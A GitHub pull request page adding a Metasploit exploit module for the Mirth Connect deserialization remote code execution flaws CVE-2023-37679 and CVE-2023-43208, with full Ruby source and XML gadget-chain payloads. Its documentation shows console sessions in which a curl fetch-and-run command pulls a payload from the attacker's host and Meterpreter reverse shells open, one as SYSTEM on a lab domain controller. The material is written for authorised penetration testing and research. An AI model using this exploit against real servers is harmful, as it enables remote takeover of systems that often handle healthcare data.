Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add an exploit for Mirth Connect RCE (CVE-2023-43208 and CVE-2023-37679) #18755

Merged
merged 5 commits into from
Jan 30, 2024
Merged
Show file tree
Hide file tree
Changes from 2 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,119 @@
## Vulnerable Application
A vulnerability exists within Mirth Connect due to it's mishandling of deserialized data. This vulnerability
can be leveraged by an attacker using a crafted HTTP request to execute OS commands within the context of the
target application. The original vulnerability was identified by IHTeam and assigned CVE-2023-37679. Later,
researchers from Horizon3.ai determined the patch to be incomplete and published a gadget chain which bypassed
the deny list that the original had implemented. This second vulnerability was assigned CVE-2023-43208 and was
patched in Mirth Connect version 4.4.1. This module has been tested on versions 4.1.1, 4.3.0 and 4.4.0.

### Setup (Linux with Docker)

1. Run the application in docker: `docker run --name mirth-connect --rm -d -p 8443:8443 nextgenhealthcare/connect:4.4.0`

### Setup (Windows)

1. Download the desired release from the [GitHub page][1]
2. Install a Java runtime
3. Install Mirth Connect
1. Accept all default values for every stage of the installation

## Verification Steps

1. Follow the steps from the Setup section to create a test instance
2. Start msfconsole
3. Run: `use exploit/multi/http/mirth_connect_cve_2023_43208`
4. Set the `RHOSTS`, `PAYLOAD` and payload-related options
5. Run the module

## Options

## Scenarios

### Mirth Connect 4.4.0 in Docker

Note that Python is not available in the docker container, so no Python payloads will work.

```
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set TARGET Unix\ Command
TARGET => Unix Command
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set PAYLOAD cmd/linux/http
Display all 106 possibilities? (y or n)
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set VERBOSE true
VERBOSE => true
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > exploit

[*] Command to run on remote host: curl -so /tmp/PFYkPcUX http://192.168.159.128:8080/jvE_gjDKxuQo86-91TitNQ; chmod +x /tmp/PFYkPcUX; /tmp/PFYkPcUX &
[*] Fetch Handler listening on 192.168.159.128:8080
[*] HTTP server started
[*] Adding resource /jvE_gjDKxuQo86-91TitNQ
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected target version: 4.1.1
[+] The target appears to be vulnerable. Version 4.1.1 is affected by CVE-2023-37679.
[*] Executing cmd/linux/http/x64/meterpreter/reverse_tcp (Unix Command)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
[*] Executing cmd/linux/http/x64/meterpreter/reverse_tcp (Unix Command)
[*] Executing cmd/linux/http/x64/meterpreter/reverse_tcp (Unix Command)
[+] The target appears to have executed the payload.

[*] Client 192.168.159.128 requested /jvE_gjDKxuQo86-91TitNQ
[*] Sending payload to 192.168.159.128 (curl/7.74.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.159.128
[*] Meterpreter session 6 opened (192.168.159.128:4444 -> 192.168.159.128:49360) at 2024-01-26 17:11:37 -0500

meterpreter > getuid
Server username: mirth
meterpreter > sysinfo
Computer : 10.0.2.100
OS : Debian 11.4 (Linux 6.6.12-200.fc39.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > pwd
/opt/connect
meterpreter >
```

### Mirth Connect 4.4.0 on Windows Server 2019

```
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set TARGET Windows\ Command
TARGET => Windows Command
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set PAYLOAD cmd/windows/powershell/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/windows/powershell/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set VERBOSE true
VERBOSE => true
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > run

[*] Powershell command length: 4418
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected target version: 4.4.0
[+] The target appears to be vulnerable. Version 4.4.0 is affected by CVE-2023-43208.
[*] Executing cmd/windows/powershell/x64/meterpreter/reverse_tcp (Windows Command)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
[*] Executing cmd/windows/powershell/x64/meterpreter/reverse_tcp (Windows Command)
[*] Executing cmd/windows/powershell/x64/meterpreter/reverse_tcp (Windows Command)
[+] The target appears to have executed the payload.

[*] Sending stage (201798 bytes) to 192.168.159.10
[*] Meterpreter session 5 opened (192.168.159.128:4444 -> 192.168.159.10:60705) at 2024-01-26 17:10:20 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DC
OS : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : MSFLAB
Logged On Users : 13
Meterpreter : x64/windows
meterpreter > pwd
C:\Program Files\Mirth Connect
meterpreter >
```

[1]: https://github.com/nextgenhealthcare/connect/releases

242 changes: 242 additions & 0 deletions modules/exploits/multi/http/mirth_connect_cve_2023_43208.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,242 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Mirth Connect Deserialization RCE',
'Description' => %q{
A vulnerability exists within Mirth Connect due to it's mishandling of deserialized data. This vulnerability
zeroSteiner marked this conversation as resolved.
Show resolved Hide resolved
can be leveraged by an attacker using a crafted HTTP request to execute OS commands within the context of the
target application. The original vulnerability was identified by IHTeam and assigned CVE-2023-37679. Later,
researchers from Horizon3.ai determined the patch to be incomplete and published a gadget chain which bypassed
the deny list that the original had implemented. This second vulnerability was assigned CVE-2023-43208 and was
patched in Mirth Connect version 4.4.1. This module has been tested on versions 4.1.1, 4.3.0 and 4.4.0.
},
'Author' => [
'r00t',
'Naveen Sunkavally',
'Spencer McIntyre'
],
'References' => [
['CVE', '2023-37679'],
['URL', 'https://www.ihteam.net/advisory/mirth-connect/'],
['CVE', '2023-43208'],
['URL', 'https://www.horizon3.ai/nextgen-mirth-connect-remote-code-execution-vulnerability-cve-2023-43208/'],
['URL', 'https://www.horizon3.ai/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/'],
],
'DisclosureDate' => '2023-10-25',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux', 'win'],
'Arch' => [ARCH_CMD],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Payload' => { 'Space' => 8191, 'DisableNops' => true }
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I was wondering where the 8191 was coming from and after reading the definition below it made me realize I've likely written a number of modules that were subject to this limitation but did not include it. Good to know.

Command prompt (Cmd. exe) command-line string limitation

In Command Prompt, the total length of the following command line can't contain more than 8191 characters

}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def check
target_version = get_target_version
return CheckCode::Unknown unless target_version

vprint_status("Detected target version: #{target_version}")

if target_version <= Rex::Version.new('4.3.0')
return CheckCode::Appears("Version #{target_version} is affected by CVE-2023-37679.")
elsif target_version <= Rex::Version.new('4.4.0')
return CheckCode::Appears("Version #{target_version} is affected by CVE-2023-43208.")
end

CheckCode::Safe("Version #{target_version} is not affected.")
end

def get_target_version
return @target_version if @target_version

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/server/version'),
'headers' => {
'X-Requested-With' => 'OpenAPI'
}
)
return nil unless res&.code == 200
return nil unless res.body =~ /(\d+(\.\d+)*)/
zeroSteiner marked this conversation as resolved.
Show resolved Hide resolved

@target_version = Rex::Version.new(Regexp.last_match(1))
@target_version
end

def exploit
# confluence_platform = get_confluence_platform
# unless confluence_platform
# fail_with(Failure::NotVulnerable, 'The target is not vulnerable.')
# end
#
# unless confluence_platform.downcase.start_with?('win') == (target['Platform'] == 'win')
# fail_with(Failure::NoTarget, "The target platform '#{confluence_platform}' is incompatible with '#{target.name}'")
# end

target_version = get_target_version
print_status("Executing #{payload_instance.refname} (#{target.name})")

if target_version <= Rex::Version.new('4.3.0')
# The CVE-2023-43208 gadget chain will also work here but use the old one to verify the original vulnerability
# which did not implement the deny-list logic that was bypassed by the newer chain
execute_command_cve_2023_43208(payload.encoded)
zeroSteiner marked this conversation as resolved.
Show resolved Hide resolved
elsif target_version <= Rex::Version.new('4.4.0')
execute_command_cve_2023_43208(payload.encoded)
else
fail_with(Failure::NoTarget, "Version #{target_version} is not vulnerable.")
end
end

def execute_command_cve_2023_37679(cmd, _opts = {})
# Tested on 4.1.1 and 4.3.0
xml = Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
jheysel-r7 marked this conversation as resolved.
Show resolved Hide resolved
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>#{target['Platform'] == 'win' ? 'cmd.exe' : 'bash'}</string>
zeroSteiner marked this conversation as resolved.
Show resolved Hide resolved
<string>#{target['Platform'] == 'win' ? '/c' : '-c'}</string>
<string>#{cmd.encode(xml: :text)}</string>
</command>
</target>
<methodName>start</methodName>
<eventTypes/>
</handler>
</dynamic-proxy>
</sorted-set>
XML

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/users'),
'ctype' => 'application/xml',
'headers' => {
'X-Requested-With' => 'OpenAPI'
},
'data' => xml
})

res&.code == 500
end

def execute_command_cve_2023_43208(cmd, _opts = {})
if target['Platform'] == 'win'
cmd = "cmd.exe /c \"#{cmd}\""
else
cmd = "sh -c $@|sh . echo #{cmd}"
jheysel-r7 marked this conversation as resolved.
Show resolved Hide resolved
end

# Tested on 4.1.1, 4.4.0
xml = Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<sorted-set>
<string>#{rand_text_alphanumeric(4..12)}</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
<target class="org.apache.commons.collections4.functors.ChainedTransformer">
<iTransformers>
<org.apache.commons.collections4.functors.ConstantTransformer>
<iConstant class="java-class">java.lang.Runtime</iConstant>
</org.apache.commons.collections4.functors.ConstantTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>getMethod</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
<java-class>[Ljava.lang.Class;</java-class>
</iParamTypes>
<iArgs>
<string>getRuntime</string>
<java-class-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>invoke</iMethodName>
<iParamTypes>
<java-class>java.lang.Object</java-class>
<java-class>[Ljava.lang.Object;</java-class>
</iParamTypes>
<iArgs>
<null/>
<object-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>exec</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
</iParamTypes>
<iArgs>
<string>#{cmd.encode(xml: :text)}</string>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
</iTransformers>
</target>
<methodName>transform</methodName>
<eventTypes>
<string>compareTo</string>
</eventTypes>
</handler>
</dynamic-proxy>
</sorted-set>
XML

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/users'),
'ctype' => 'application/xml',
'headers' => {
'X-Requested-With' => 'OpenAPI'
},
'data' => xml
})

res&.code == 500
end
end